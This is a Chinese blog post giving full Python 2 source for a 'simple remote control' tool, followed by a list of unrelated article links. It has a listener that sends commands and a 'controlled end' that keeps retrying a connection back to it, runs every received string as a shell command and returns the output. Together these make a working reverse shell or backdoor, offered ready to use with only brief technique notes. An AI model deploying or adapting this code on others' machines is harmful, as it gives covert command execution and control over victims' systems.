Python简易远控(单线程版)
2024-10-10 21:26:39
1. 技术:管道通信,流文件处理,socket基础
2. Tips:
默认IP:127.0.0.1
默认端口:7676
3. 代码样例:
服务端:
#!/usr/bin/env python
# encoding: utf-8
import socket
import sys
from os import *
reload(sys)
sys.setdefaultencoding("utf-8")
def socketInit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
return s
def socketDeal(s,HOST,PORT):
s.bind((HOST,PORT))
s.listen(1)
def ControlModule(sS,addr):
recv_buffer = sS.recv(20048)
if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":
print recv_buffer
sys.exit(0)
else:
print recv_buffer
send_buf = raw_input(addr[0]+">")
sS.send(send_buf)
def main():
HOST = "127.0.0.1"
PORT = 7676
s = socketInit()
socketDeal(s, HOST, PORT)
sS,addr = s.accept()
print "Connect from " + addr[0] + ":" + repr(addr[1])
try:
while True:
ControlModule(sS,addr)
except Exception as e:
print "[-]Connect Error"
sS.close()
s.close()
sys.exit(-1)
except KeyboardInterrupt:
sS.close()
s.close()
sys.exit(0)
if __name__ == '__main__':
main()
受控端:
#!/usr/bin/env python
# encoding: utf-8
import socket
import sys
import re
import traceback
import tempfile
from os import *
from subprocess import *
reload(sys)
sys.setdefaultencoding("utf-8")
def socketInit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
return s
def socketConn(s,HOST,PORT):
while True:
try:
s.connect((HOST,PORT))
except Exception as e:
continue
else:
s.send("Welcome Sir ~")
break
def String_Deal(recv,send):
P_str = re.findall("cd(.*)|(\w):", recv)
if P_str!=[] and send == "":
if P_str[0][0]!="":
try:
chdir(P_str[0][0].strip())
except Exception as e:
flag = -1
else:
flag = 1
else:
try:
chdir(recv)
except Exception as e:
#traceback.print_exc()
flag = -1
else:
flag = 1
else:
if send == "":
flag = 1
else:
flag = 0
return flag
def OpenProcess(s):
try:
while True:
recv_buf = s.recv(2048)
#流文件技术,防止管道阻塞
out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)
fileNo = out_temp.fileno()
cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)
cmd.wait()
out_temp.seek(0)
send_buf = out_temp.read()
#print len(send_buf)
#输入命令字符串处理识别
flag = String_Deal(recv_buf,send_buf)
if flag == 1:
s.send("OK")
elif flag == -1:
s.send("Error!!")
else:
s.send(send_buf)
send_buf = ""
except Exception as e:
try:
s.send("[-]Error:Server is OFF")
except Exception as e:
pass
s.close()
sys.exit(-1)
except KeyboardInterrupt:
try:
s.send("[*]Server is OFF")
except Exception as e:
pass
s.close()
sys.exit(0)
def main():
flag = 0
HOST = "127.0.0.1"
PORT = 7676
s = socketInit()
socketConn(s, HOST, PORT)
OpenProcess(s)
if __name__ == '__main__':
main()
最新文章
- 深入java集合学习1-集合框架浅析
- HDU 3333 | Codeforces 703D 树状数组、离散化
- 开发基于Edge渲染内核的浏览器应用
- Spark Programming--WordCount
- golang:interface{}类型测试
- 计划:怎样理解水平集方法 ITK Level set V4 框架介绍
- jpcap 配置方法,问题解决,模拟sniffer程序。(附JAVA程序,jar,dll包等环境)
- iOS便捷开发工具分享
- 微控制器(MCU)架构介绍
- C++库研究笔记——Linux下是否需要使用memory pool?
- 关于FND_PROFILE与FND_GLOBLE[Z]
- Shell中$X的含义
- LeetCode之“数组”:Rotate Array
- js反爬-从入门到精通webdriver
- 前端接口自动化测试工具-DOClever使用介绍(转载)
- SWPU-ACM集训队周赛之组队赛(3-11) C题题解
- 阿里云日志服务采集自建Kubernetes日志(标准输出日志)
- LintCode——交叉字符串
- iPhone 配置使用工具
- CentOS 报错cannot execute binary file